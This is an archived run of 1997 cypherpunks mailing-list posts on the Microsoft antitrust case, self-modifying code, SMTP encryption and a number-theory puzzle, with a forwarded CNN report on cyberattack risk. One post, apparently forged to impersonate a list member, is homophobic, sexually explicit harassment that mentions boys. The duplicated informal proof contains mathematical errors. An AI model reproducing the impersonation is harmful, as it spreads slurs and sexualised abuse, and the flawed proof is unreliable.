> can help you cover the POP3 end as well.

I encrypt both my SMTP and POP links using SafePassage Secure Tunnel.
128 bit SSL v3 with client certs. You can download a free eval copy of
SPST at http://www.c2.net/products/spst/ Without the certs, it shouldn't
take longer than 15 min. to set this up at your site.


Disclaimer: I work for C2.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred. 
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 21 Oct 1997 12:28:27 +0800
To: cypherpunks@cyberpass.net
Subject: RE: Impeachment of Janet Reno -- was Justice Department Sues Micr
Message-ID: <v03110707b071d06ab0b8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Mon, 20 Oct 1997 22:20:09 -0400
Reply-To: com-priv@lists.ecosystems.net
Originator: com-priv@lists.psi.com
Sender: com-priv@lists.psi.com
Precedence: bulk
From: Com-Priv <com-priv@lists.ecosystems.net>
To: Multiple recipients of list <com-priv@lists.psi.com>
Subject: RE: Impeachment of Janet Reno -- was Justice Department Sues Micr
X-Comment:  Commercialization and Privatization of the Internet


All right, I will justify (again) my position.

Re: the bundling of a software with an Operating System.

I will not say that I agree that there should be any restrictions or
regulations regarding what applications can be "bundled" with an
operating system. I will say that I vehemently disagree that the
government should legislate what constitutes an operating system and
what applications may be included. But I will concede that there is an
ethical question regarding of bundling of any product with that of
another in an effort to make bundled product competitive on something
other than its merits.

But please do not insult my intelligence. This is not the core issue at
hand. Microsoft has been bundling IE since before it even had a version
number when Windows 95 was originally released more than two years ago.
I just took a close look at Windows 95 OEM Service Release 2, and you
cannot not install IE -- that was released last summer.

So I ask, why is this coming up now?

The answer was given in the letter to the DOJ that Ralph Nadar's
organization posted to this very list not more than one month ago.

"Microsoft should not be permitted to...integrate the MSE with the
operating system in ways that are unavailable to other firms."

This is not the consumer public via DOJ against Microsoft, this is
Netscape via DOJ against Microsoft. This is not about Windows 95 and IE
3.0, this is about Windows 98 and NT 5.0.

Windows 98 and NT 5.0 have evolved the core operating system interface
and functionality to be seamlessly integrated with and based upon
Internet standards CIFS, LDAP, HTTP, HTML/XML, etc. This is what
Netscape is attacking.

There is a natural progression and market pressure to natively integrate
Internet-based standards into both OS's and applications -- to
legislatively prevent that is absolutely ridiculous and harmful to
consumers. It would be the equivalent in my mind if the Australian maker
of the Trumpet Winsocket (the most popular TCP/IP stack for Windows 3.1)
had sued Microsoft for bundling TCP/IP with Windows 95/NT.


All I can say about Netscape is the ability to successfully build and
market software that complements or enhances another software package is
dependent on a good relationship with that software vendor -- this is
self-evident in the market. To self-proclaim yourself the destroyer of
that vendor and then except that vendor to support you is utterly
moronic -- they get what they deserve.

For our mercenary government to pull out their guns in service of
Netscape and force Microsoft to permit their existence is criminal. To
proclaim Microsoft a monopoly and use that as justification to
completely disregard reason, objectivity and rights of property, and
disrupt the free market with subjective law and reason of guns is
repulsive. I have trouble calling myself an American.

	Matt


"You'd better get it straight that it's not a bunch of boy scouts you're
up against -- then you'll know that this is not the age for beautiful
gestures. We're after power and we mean it. Your fellows were pikers,
but we know the real trick, and you'd better get wise to it. There's no
way to rule innocent men. The only power any government has is the power
to crack down on criminals. Well, when there aren't enough criminals,
one makes them. Once declares so many things to be a crime that it
becomes impossible for men to live without breaking laws. Who wants a
nation of law-abiding citizens? What's there in that for anyone? But
just pass the kind of laws that can neither be observed nor enforced nor
objectively interpreted -- and you create a nation of law-breakers---and
then you cash in on guilt. Now that's the system...that's the game, and
once you understand it, you'll be easier to deal with."

_Atlas Shrugged_

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 21 Oct 1997 15:11:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Interactive Programming - Self-modifying code
In-Reply-To: <199710201628.LAA08124@einstein.ssz.com>
Message-ID: <v0300782bb071f9608678@[207.94.249.37]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:24 PM -0700 10/20/97, phelix@vallnet.com wrote:
>I would think that self modifying code would play havoc with today's
>pipelined and superscalar processors (if s&m code would even work on such
>beasts).  Then they're those OS's that won't allow you to muck with code
>space.  However, I guess it will always have a place in the embedded world.

All OSes have a form of self modifying code which fetches programs (as
data) from disk and then executes them (as programs) in memory.  They need
a way to flush the data cache so the instruction cache can read it.

The place where it becomes expensive in modern processors is when the
processor has seen a word as an instruction, and then you want to change it
and have the new value again interpreted as an instruction.  The way to
"legitimately" do this varies by processor.  IBM mainframes detect it
automagically and "do the right thing".  SPARCs require a special "flush"
instruction to clean out the processor I-cache/pipeline.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Tue, 21 Oct 1997 08:09:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Math problem related to cryptography
Message-ID: <344bf08d.1273035@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Oct 1997 18:36:26 -0500, Jeffery Walker <jeff@beol.net> wrote:

>
>	I have been working on some math and C++ code to implement it. The
>problem relates to a possible new means of factoring.  However, I have run
>into a problem which I cannot solve. Indeed it maybe impossible. The
>problem is this:
>
>	Find and equation using only multiplication, division, GCD, LCM and
>powers (not addition or subtraction) in terms of a and b which is equal to
>a+b for all Integers.  If so desired it can be assumed that a and b are
>relative primes with a>b.  Note that equivalent problems include but aren't
>limited to finding a similar equation for a+1. If other functions such as
>logs are required they may be allowed but I would have to look into it.
>
>	To encourage people to answer I am offering $20 for a solution and
>$10 for a proof that it is impossible.  I will judge all answers as to the
>validity both in terms of actually being correct (or in the case of a proof
>a valid argument) and in that they do not use functions such as addition or
>subtraction which are not allowed.
>

(why do I get the feeling that I'm doing somebody's homework assignment)

Claim: In the realm of Integers, There does not exist a formula using only
multplication,division,GCD,LCM,and powers such that f(a,b)=a+b for all
integers a,b

Proof (by contradiction):  

I  assume that a,b are primes > 2.  Lets also define  x,y,z,w,m,n and any
integer >=0 and C,D,E as any integer > 0.  Now let's look at the operations
available to us:

multiplication and powers:
	C=C*(a^0)*(b^0)
	CD=E(a^0)*(b^0) where E=CD
	a=1*(a^1)*(b^0)
	a^2=1(a^2)*(b^0)
	Cab^2=C*(a^1)*(b^2)
	well , all results can be expressed in the following form:
		C*(a^x)*(b*y)

division:
	a !| b and b !| a (here !| means "does not divide")
	(From here on out, lets assume that a !| C,D,E and b !| C,D,E.  it
makes things simpler)
	Ca/a=C*(a^0)*(b*0)
	Ca/D=E*(a^1)*(b^0) assuming that E | C
	I won't go through all this.  It should be obvious that for all
allowed divisions, the result can be expressed as
		 C*(a^x)*(b*y)


GCD:
	gcd(a,b)=1
	
	gcd(a,C)=1
	gcd(Ca,Da)=max(a,gcd(C,D))
	gcd(Ca,Db)=gcd(C,D)
	gcd(C(a^x),C(a^y))=C(a^(min(x,y)))

gcd(C(a^x)*(b^y),D(a^z)*(b^w))=gcd(C,D)*(a^(min(x,y)))*(b^(min(z,w))))
	=E(a^m)*(b^n) for E=gcd(C,D) m=min(x,z) and n=min(y,w)

	so, all results of GCD can be expressed in the form:
		C(a^x)(b^y)

LCM:
	LCM(C,D)=CD/gcd(C,D)
	LCM(C(a^x)*(b^y),D(a^z)*(b^w))
	  =CD*(a^(x+z))*(b^(y+w))/gcd(C(a^x)*(b^y),D(a^z)*(b^w))
	  =( CD/gcd(C,D) * (a^(|x+z-min(xz)|)) * (b^(y+w-min(yw))
	  = E(a^m)*(b^n) where E=CD/gcd(C,D)=lcm(C,D), 
	        m=x+z-min(x,z) , n=y+w-min(y,w)

	so, all results of LCM can be expressed in the form:
		C(a^x)(b^y)

Now, as you can probably tell by now, I don't remember a damn thing about
groups, rings, and fields.  If i did, I could have done all of the above in
one paragraph.  SO, what I'm trying to say is that all the numbers you can
operate on here will be of the form C(a^x)(b^y).  SO you really have to
prove at least the following

	C(a^x)(b^y)=a+b   for some C>0, x,y>=0 integers

Now, you could probably say that C=a+b, x,y=0, but that's a cop out and is
probably not allowed.  Now, watch while I cop out and provide an easy
counterexample:

	assume some formula exists such that f(a,b)=a+b with
	f only using *,/,gcd,lcm,^ operators

	let a=5, b=7
	
	Since I know that ultimately anything I do with constants
	and the operators 8,/,gcd,lcm,^ will result in something in
	the form of C(a^x)(b^y), I won't even mess with the formula

	there must exist some C>0, x,y>=0 that makes:
		C(5^x)(7^y)=5+7=12

	of x>=1 and y>=1 then C(5^x)(7^y)>12 for all C>0
	if x=0 and y=0, C=12  (this works)
	if x=1,y=0 then 5C=12.  there is no C which satisfies this.
	if x=0,y=1 then 7C=12.  there is no C which satisfies this.
	
	so, the only solution is C=12, or more generally, C=a+b

	oops, that can't be the formula since we're not allowed to
	do that. QED.

	Well, that was pretty sloppy, so lets be more general about this:
		C(a^x)(b^y)=a+b
		
	Now, I'm sure that somewhere in the history of mathematics
	somebody has proven that for primes a and b where a,b>2
	that a*b>a+b.

	So, for any x,y,C>0, C(a^x)(b^y)>a+b.

	C, of course, cannot be negative, or zero, so all were left 
	with is x or y being zero. Let y=0.  we have:
	
		C*a^x=a+b
		C*a^x - a = b
		a*(C*a^(x-1) - 1 ) = b
		a*E=b

	Now, a and b are primes and a!=b.  From the fundamental 
	theorem of algebra, every number can be represented by a 
	series of primes such as:
		p1^a1 * p2^a2 * p3^a3 * ...

	In a*E=b, if we factor each side down to its primes, we find that
	the right hand side does not contain the prime 'a' which  is on 
	the left hand side, so a*E != b.  A similar argument can be used 
	for the case x=0.

	This leaves the only solution to C(a^x)(b^y)=a+b being
		x=0,y=0
		C(a^0)(b^0)=C=a+b
	which isn't allowed.  QED



Now, If you're like me, you've probably read the above and don't have a
f*cking clue what I meant (I sure wouldn't if I read all that crap).  So
here's the executive summary.

With the operators you've defined on the number set you want to work with,
no matter how complicated or crazy your formula is, I can express the
result at C(a^x)(b^y).  And hopefully, I've shown that C(a^x)(b^y) cannot
equal a+b except in the trivial case of C=a+b (with x,y=0) which is what
you don't want.

>Thanks,
>Jeff
>P.S. I am very interested in joining the coderpunks list as I do program
>and am interested in cryptography as related to programming.  If someone
>would be kind enough to recommend me I thank you.
>
I wasn't aware that you had to be invited to the coderpunks list.  Just
send a message to majordomo@toad.com with the following in the body:

subscribe coderpunks



-- Phelix, who really should have been able to give a better proof
(especially since one of my degrees has the word 'Mathematics' on it)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Tue, 21 Oct 1997 08:31:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Interactive Programming - Self-modifying code
In-Reply-To: <199710201628.LAA08124@einstein.ssz.com>
Message-ID: <3450f621.2700668@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 20 Oct 1997 18:43:14 -0500, Jim Choate <ravage@ssz.com> wrote:

>
>Forwarded message:
>
>> From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
>> Subject: Re: [LONG, off-topic]] Interactive Programming
>> Date: Mon, 20 Oct 1997 10:22:23 -0500 (CDT)
>
>> > As are some perl programmers.  As both a perl programmer and a lisp
>> > programer I have never had the need to use self modifing code.  In fact I
>> > would consider haveing to use s-m code as a sine that I have made a
>> > mistate in my desinge.
>
>Come on, tell us how you really feel...
>
>What if your design specificaly includes self-modifying code for reasons of
>execution speed or some recursive efficiency? Glad to know I don't have to
>compete with you on those sorts of jobs...thanks.
>

I would think that self modifying code would play havoc with today's
pipelined and superscalar processors (if s&m code would even work on such
beasts).  Then they're those OS's that won't allow you to muck with code
space.  However, I guess it will always have a place in the embedded world.

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Tue, 21 Oct 1997 09:33:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Math problem related to cryptography
Message-ID: <3451faa5.3856983@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 19 Oct 1997 18:36:26 -0500, Jeffery Walker <jeff@beol.net> wrote:

>
>	I have been working on some math and C++ code to implement it. The
>problem relates to a possible new means of factoring.  However, I have run
>into a problem which I cannot solve. Indeed it maybe impossible. The
>problem is this:
>
>	Find and equation using only multiplication, division, GCD, LCM and
>powers (not addition or subtraction) in terms of a and b which is equal to
>a+b for all Integers.  If so desired it can be assumed that a and b are
>relative primes with a>b.  Note that equivalent problems include but aren't
>limited to finding a similar equation for a+1. If other functions such as
>logs are required they may be allowed but I would have to look into it.
>
>	To encourage people to answer I am offering $20 for a solution and
>$10 for a proof that it is impossible.  I will judge all answers as to the
>validity both in terms of actually being correct (or in the case of a proof
>a valid argument) and in that they do not use functions such as addition or
>subtraction which are not allowed.
>

(why do I get the feeling that I'm doing somebody's homework assignment)

Claim: In the realm of Integers, There does not exist a formula using only
multplication,division,GCD,LCM,and powers such that f(a,b)=a+b for all
integers a,b

Proof (by contradiction):  

I  assume that a,b are primes > 2.  Lets also define  x,y,z,w,m,n and any
integer >=0 and C,D,E as any integer > 0.  Now let's look at the operations
available to us:

multiplication and powers:
	C=C*(a^0)*(b^0)
	CD=E(a^0)*(b^0) where E=CD
	a=1*(a^1)*(b^0)
	a^2=1(a^2)*(b^0)
	Cab^2=C*(a^1)*(b^2)
	well , all results can be expressed in the following form:
		C*(a^x)*(b*y)

division:
	a !| b and b !| a (here !| means "does not divide")
	(From here on out, lets assume that a !| C,D,E and b !| C,D,E.  it
makes things simpler)
	Ca/a=C*(a^0)*(b*0)
	Ca/D=E*(a^1)*(b^0) assuming that E | C
	I won't go through all this.  It should be obvious that for all
allowed divisions, the result can be expressed as
		 C*(a^x)*(b*y)


GCD:
	gcd(a,b)=1
	
	gcd(a,C)=1
	gcd(Ca,Da)=max(a,gcd(C,D))
	gcd(Ca,Db)=gcd(C,D)
	gcd(C(a^x),C(a^y))=C(a^(min(x,y)))

gcd(C(a^x)*(b^y),D(a^z)*(b^w))=gcd(C,D)*(a^(min(x,y)))*(b^(min(z,w))))
	=E(a^m)*(b^n) for E=gcd(C,D) m=min(x,z) and n=min(y,w)

	so, all results of GCD can be expressed in the form:
		C(a^x)(b^y)

LCM:
	LCM(C,D)=CD/gcd(C,D)
	LCM(C(a^x)*(b^y),D(a^z)*(b^w))
	  =CD*(a^(x+z))*(b^(y+w))/gcd(C(a^x)*(b^y),D(a^z)*(b^w))
	  =( CD/gcd(C,D) * (a^(|x+z-min(xz)|)) * (b^(y+w-min(yw))
	  = E(a^m)*(b^n) where E=CD/gcd(C,D)=lcm(C,D), 
	        m=x+z-min(x,z) , n=y+w-min(y,w)

	so, all results of LCM can be expressed in the form:
		C(a^x)(b^y)

Now, as you can probably tell by now, I don't remember a damn thing about
groups, rings, and fields.  If i did, I could have done all of the above in
one paragraph.  SO, what I'm trying to say is that all the numbers you can
operate on here will be of the form C(a^x)(b^y).  SO you really have to
prove at least the following

	C(a^x)(b^y)=a+b   for some C>0, x,y>=0 integers

Now, you could probably say that C=a+b, x,y=0, but that's a cop out and is
probably not allowed.  Now, watch while I cop out and provide an easy
counterexample:

	assume some formula exists such that f(a,b)=a+b with
	f only using *,/,gcd,lcm,^ operators

	let a=5, b=7
	
	Since I know that ultimately anything I do with constants
	and the operators 8,/,gcd,lcm,^ will result in something in
	the form of C(a^x)(b^y), I won't even mess with the formula

	there must exist some C>0, x,y>=0 that makes:
		C(5^x)(7^y)=5+7=12

	of x>=1 and y>=1 then C(5^x)(7^y)>12 for all C>0
	if x=0 and y=0, C=12  (this works)
	if x=1,y=0 then 5C=12.  there is no C which satisfies this.
	if x=0,y=1 then 7C=12.  there is no C which satisfies this.
	
	so, the only solution is C=12, or more generally, C=a+b

	oops, that can't be the formula since we're not allowed to
	do that. QED.

	Well, that was pretty sloppy, so lets be more general about this:
		C(a^x)(b^y)=a+b
		
	Now, I'm sure that somewhere in the history of mathematics
	somebody has proven that for primes a and b where a,b>2
	that a*b>a+b.

	So, for any x,y,C>0, C(a^x)(b^y)>a+b.

	C, of course, cannot be negative, or zero, so all were left 
	with is x or y being zero. Let y=0.  we have:
	
		C*a^x=a+b
		C*a^x - a = b
		a*(C*a^(x-1) - 1 ) = b
		a*E=b

	Now, a and b are primes and a!=b.  From the fundamental 
	theorem of algebra, every number can be represented by a 
	series of primes such as:
		p1^a1 * p2^a2 * p3^a3 * ...

	In a*E=b, if we factor each side down to its primes, we find that
	the right hand side does not contain the prime 'a' which  is on 
	the left hand side, so a*E != b.  A similar argument can be used 
	for the case x=0.

	This leaves the only solution to C(a^x)(b^y)=a+b being
		x=0,y=0
		C(a^0)(b^0)=C=a+b
	which isn't allowed.  QED



Now, If you're like me, you've probably read the above and don't have a
f*cking clue what I meant (I sure wouldn't if I read all that crap).  So
here's the executive summary.

With the operators you've defined on the number set you want to work with,
no matter how complicated or crazy your formula is, I can express the
result at C(a^x)(b^y).  And hopefully, I've shown that C(a^x)(b^y) cannot
equal a+b except in the trivial case of C=a+b (with x,y=0) which is what
you don't want.

>Thanks,
>Jeff
>P.S. I am very interested in joining the coderpunks list as I do program
>and am interested in cryptography as related to programming.  If someone
>would be kind enough to recommend me I thank you.
>
I wasn't aware that you had to be invited to the coderpunks list.  Just
send a message to majordomo@toad.com with the following in the body:

subscribe coderpunks



-- Phelix, who really should have been able to give a better proof
(especially since one of my degrees has the word 'Mathematics' on it)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mskala@meares.csc.UVic.CA
Date: Tue, 21 Oct 1997 15:55:37 +0800
To: cypherpunks@toad.com
Subject: Re: SMTP Encryption Extension
In-Reply-To: <CMM.0.90.4.877388285.ariel@stealth.cc.columbia.edu>
Message-ID: <Pine.SUN.3.91.971021004608.17560B-100000@meares>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 20 Oct 1997, Ariel Glenn wrote:
> >Well, what are we really concerned about?  Not Web traffic - although your
> 
> Not at all! Most of my time is spent trying to keep 'restricted data'
> from being scooped by the wrong people... from the Web. We have

Well, whatever.  *I'm* more concerned about email.  Of course the same 
argument could be used to support encrypted HTTP, but there's already 
plenty of work being done on that and the main problems seem to be 
political rather than technical.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bronc Buster" <broncbusterisgay@hotmail.com>
Date: Tue, 21 Oct 1997 17:41:28 +0800
To: dc-stuff@dis.org
Subject: I am a homosexual!@#$!@#@!!
Message-ID: <19971021093307.19041.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

my name is Bronc Buster and you all know me. but what you donot know is 
that I AM A HOMOFAGGOT who likes lil' boys cocks and stuff. you all have 
to email me here cuz some body email bombed my other adress and then my 
new one. i also want to see pics of your cocks but please wtrie my name 
on your dick before you mail them to me so i know You love me.

off to spank my small monkey,

Bronc Buster

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 21 Oct 1997 11:05:15 +0800
To: cypherpunks@toad.com
Subject: Re: consensus on pgp? can we consolidate for action?
Message-ID: <199710210255.EAA10743@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

> I encrypt both my SMTP and POP links using SafePassage Secure Tunnel.
> 128 bit SSL v3 with client certs. You can download a free eval copy of
> SPST at http://www.c2.net/products/spst/ Without the certs, it shouldn't
> take longer than 15 min. to set this up at your site.
> 
> Disclaimer: I work for C2.

Will these constant lies from C2Nut employees never stop?

I've been at C2 for three months, now, and I haven't seen Lucky 
do any work, yet.

CorporateSpyMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Formosa <dformosa@st.nepean.uws.edu.au>
Date: Tue, 21 Oct 1997 04:32:09 +0800
To: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Subject: Re: [LONG, off-topic]] Interactive Programming (fwd)
In-Reply-To: <199710201345.IAA01608@ted.mncs.k12.mn.us>
Message-ID: <Pine.LNX.3.93.971021060304.125A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 20 Oct 1997, Brandon Crosby wrote:

> > As are some perl programmers.  As both a perl programmer and a lisp
> > programer I have never had the need to use self modifing code.

> PERL is a pretty high-level language... how do you add sub's after
> running the code?

$evalme = 'sub { print "This is modifed code.\n" }';
eval $evalme;

There are other ways.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNEu6MqQK0ynCmdStAQHdXwQA4ONzjWUotM3COSFwMGQBIIMoPhg5XJkT
FRJRzv63Oba1rR6imBJhW0SFeCFKEpsHrg3JX/Mswo4QKCw7EhOX1Fb22LlFEZ/c
ldrM1aV+Lbu469dIG219oUyIeEeBNEGASpOgMR69aToWOT5l3qk4TwYr6U+irTTd
o0yebLk/n1E=
=Yc1p
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brandon Crosby <bcrosby@mncs.k12.mn.us>
Date: Tue, 21 Oct 1997 21:31:55 +0800
To: cypherpunks@toad.com
Subject: everybody wants a piece of Microsoft's monopoly
Message-ID: <199710211311.IAA08583@ted.mncs.k12.mn.us>
MIME-Version: 1.0
Content-Type: text



> 
> If you thought Microsoft and Bill Gates were bad for the
> evolution of our precious technology, you'll _love_ the
> new "Guvsoft", lead by everyone's favorite businesswoman
> Janet Reno.
> 
> 
> The race to see who can play "Little Mister Gates" best
> and earn a cut of the action is accelerating.  Pundits
> are already taking bets on Scott "Now Selling Licenses 
> For 100% Pure Anything-Non-Microsoft" McNealy, Steve
> "Competition Is Great As Long It Doesn't Actually Affect Us"
> Jobs, and Janet "I've Already Demonstrated My Grasp Of Tactics
> And Tact" Reno.
> 
> 
> 
> I mean, _sure_ Microsoft is an oppressive monopoly, but then 
> what the hell is the USG?  
> 
> 

The Dept of Justice pulled an Antitrust on Microsoft (sourced,
the morning news)... $1 mil/day fine.

Based on Internet Explorer.

-Brandon Crosby





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 21 Oct 1997 21:48:14 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710211326.IAA10864@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM Active Channel for Microsoft Internet Explorer. Find
   out about your chance to win a computer click here for official rules
   and information. rule
   
                    U.S. SAID VULNERABLE TO COMPUTER ATTACK
                                       
     cyberwarfare October 21, 1997
     Web posted at: 5:02 a.m. EDT (0902 GMT)
     
     WASHINGTON (AP) -- A report concluding the nation is vulnerable to
     electronic warfare was delivered to the White House Monday by a
     presidential commission.
     
     The classified findings and recommendations of the Commission on
     Critical Infrastructure Protection say the danger of computer
     attacks that could shut down communications and power grids is real
     and requires early action.
     
     "Today, the right command sent over the Internet to a power
     generating station's control computer could be just as effective as
     a backpack full of explosives and the perpetrator would be harder to
     identify and apprehend," the panel wrote in its executive summary to
     the report.
     
     The report recommends stepping up research and establishing a
     nationwide program to educate people on the scope of the problem. It
     also recommends revising existing laws to ensure protection against
     electronic attacks through the Internet.
     
     "Law has failed to keep pace with technology. Some laws capable of
     promoting assurance are not as clear or effective as they could be,"
     the panel wrote.
     
     Because revamping laws would be a "lengthy and massive undertaking,"
     the commission offered several suggestions to jump-start the
     process.
     
     "We identified existing laws that could help the government take the
     lead and serve as a model of standards and practices for the private
     sector," it wrote. "We identified other areas of law that can enable
     infrastructure owners and operators to take precautions
     proportionate to the threat."
     
     P.J. Crowley, a White House spokesman, said a task force composed of
     representatives from several government agencies will review the
     report and come up with recommendations, which is likely to take the
     rest of the year.
     
     In addition, an advisory committee headed by former Sen. Sam Nunn,
     D-Ga., and former Deputy Attorney General Jamie Gorelick will work
     with the private sector on ways to protect against cyber attacks.
     
     At a conference on computer security two weeks ago, commission
     Chairman Robert T. Marsh said the ability to do serious harm over
     the Internet is real.
     
     "While a catastrophic cyber attack has not occurred, we have enough
     isolated incidents to know that the potential for disaster is real
     and the time to act is now," he said.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
   rule
   
  Related stories:
     * Threat of 'techno' terrorism being explored - March 18, 1997
     * Military sees high-tech future - March 8, 1997
       
  Related sites:
  
     Note: Pages will open in a new browser window
     * Argonne National Laboratory Decision and Information Sciences -
       Presidential Commission on Critical Infrastructure Protection
       Survey Form
     * Naval Research Laboratory Information Technology Division -
       Clinton creates Commission on Critical Infrastructure Protection
     * U.S. Business Advisor - Survey -- Presidential Commission on
       Critical Infrastructure Protection
     * The Whitehouse - Executive order on Critical Infrastructure
       Protection
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   
     _________________________________________________________________
   
   Infoseek search ____________________ ____  ____
   
     _________________________________________________________________
   
   
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   Watch these shows on CNN for more sci-tech stories:
   
   CNN Computer Connection | Future Watch | Science & Technology Week
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   You said it... [INLINE] IBM Active Channel for Microsoft Internet
   Explorer. Find out about your chance to win a computer click here for
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   To the top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Tue, 21 Oct 1997 14:52:25 +0800
To: Ariel Glenn <mskala@langara.csc.UVic.CA
Subject: Re: SMTP Encryption Extension
In-Reply-To: <Your message of Mon, 20 Oct 1997 14:52:02 -0700 (PDT)>
Message-ID: <3.0.3.32.19971021082737.00928b20@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Ariel Glenn wrote:
>So data kept on the filesystem has to be protected and it has to be
encrypted when it is sent out to the browsing (legitimate) user. 

But you can do that already with standard software. Just encrypt the disk
with CFS and the web server with SSL. Nothing needs to be invented to solve
your problem. All the popular browsers already have SSL running.

Which leads to another idea, couldn't we encrypt SMTP by running it over
SSL as a web server cgi? If 99% of Internet traffic is web browsing and we
are trying to hide our email, then why not make the email look like web
browsing?

Just make your mailer try a "POST https" command before falling back to
plain SMTP.

The problem with including crypto in a popular Linux distribution is that
all popular Linux distributions are from the USA. Maybe suse (www.suse.de)
can change that...



Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 21 Oct 1997 23:49:10 +0800
To: Michael.Johnson@mejl.com
Subject: Re: SMTP Encryption Extension
In-Reply-To: <3.0.3.32.19971021082737.00928b20@localhost>
Message-ID: <199710211535.IAA01241@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike writes:
> 
> Ariel Glenn wrote:
> >So data kept on the filesystem has to be protected and it has to be
> encrypted when it is sent out to the browsing (legitimate) user. 
> 
> But you can do that already with standard software. Just encrypt the disk
> with CFS and the web server with SSL. Nothing needs to be invented to solve
> your problem. All the popular browsers already have SSL running.
> 
> Which leads to another idea, couldn't we encrypt SMTP by running it over
> SSL as a web server cgi? If 99% of Internet traffic is web browsing and we
> are trying to hide our email, then why not make the email look like web
> browsing?


You don't need to run it through a CGI.  There's a port defined for
SMTP-over-SSL:

ssmtp           465/tcp    ssmtp

(from the IANA assigned port numbers document of feb '97)

The problem with SSL is that it only protects the pipe, not the mail
that's being transported.  Mail is a store-and-forward scheme.
It's stored on the local disk and forwarded to the next hop.
Often that's not the recipient, but is a mail exchange or a firewall
gateway.  Then the MX or firewall forwards the mail on to the next
hop, etc.

(note that a CFS partition, in order to be used by a mail transport, would
need to be mounted at all times, and therefore would be available to
an attacker who gained root on the mail transport host)

If your mail goes to an intermediate MX site, it'll sit in the clear on
the disk there until its sent to its final destination.   Even if all
mailers supported ssmtp, the mail would not be secure.

Email really needs to be individually encrypted instead of using
encrypted pipes.  If you want to protect all email (an excellent
idea), build a mail transport which automatically encrypts each
outgoing mail in the key of the recipient (or recipients's mail
transport).  It's not that hard to do, I build a 'pgpsendmail' for
a former employer.  Most of the effort was in figuring out where in
sendmail to put the hooks to pgp.



-- 
Eric Murray  Chief Security Scientist  N*Able Technologies  www.nabletech.com
(email:  ericm  at  lne.com   or   nabletech.com)          PGP keyid:E03F65E5





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 21 Oct 1997 22:48:26 +0800
To: frantz@netcom.com (Bill Frantz)
Subject: Re: CPUNK Thread from the East / (Was: The Yarrow Man Ass) /
In-Reply-To: <v03007826b071d7c9a145@[207.94.249.37]>
Message-ID: <199710211439.OAA03185@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Everybody is invited to join CCCP -- Committee of Concerned
Computer Programmers.

igor

ill Frantz wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
